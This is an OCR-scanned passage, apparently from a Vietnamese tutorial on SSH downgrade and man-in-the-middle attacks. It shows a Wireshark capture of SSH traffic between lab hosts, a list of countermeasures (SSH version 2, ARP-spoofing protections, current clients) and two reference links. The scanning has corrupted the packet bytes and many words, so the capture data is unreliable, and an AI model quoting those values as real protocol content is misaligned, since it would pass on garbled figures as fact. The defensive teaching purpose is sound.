» Internet Protocol Version 4, Sre: 192.168.222.158 (192.168.222.158), Dst: 192.168.222.152 (192.168.222.152)

» Transmission Control Protocol, Src Port: 22 (22), Dst Port: 48528 (48528), Seq: 1, Ack: 1, Len: 21

* 55H Protocol
oco

Pr

29 3 a0 ab 08 00 45 00
84 dS5 cO a8 de e cO a8
4b dl 21 64 lc 23 50 18
48 31 2e 39 39 2d 4f]
28

(O 7 s5H Protacol (ssh.protacol), 21 bytes Packets: 199 - Displayed: 199 (100.0%) - Drapped: © (0.0%) Profile: Default
Hinh X: Phan tich gdi tin sau khi tan cong ha cap
Cac phuwong phap phong chong:

*  Ludn lu6n st dung SSH version 2
» St dung cac phrong phap phong chong tdn cong ARP (IDS/IPS, Static ARP)
* St dung cac phan mém ho trg client an toan hon (SecureCRT, Putty phién ban méi nhat,...)

Tham Khdo

*  https://www.blackhat.com/presentations/bh-europe-03/bh-europe-03-valleri.pdf
*  https://www.giac.org/paper/gsec/2034/conducting-ssh-man-middle-attacks-sshmitm/103515
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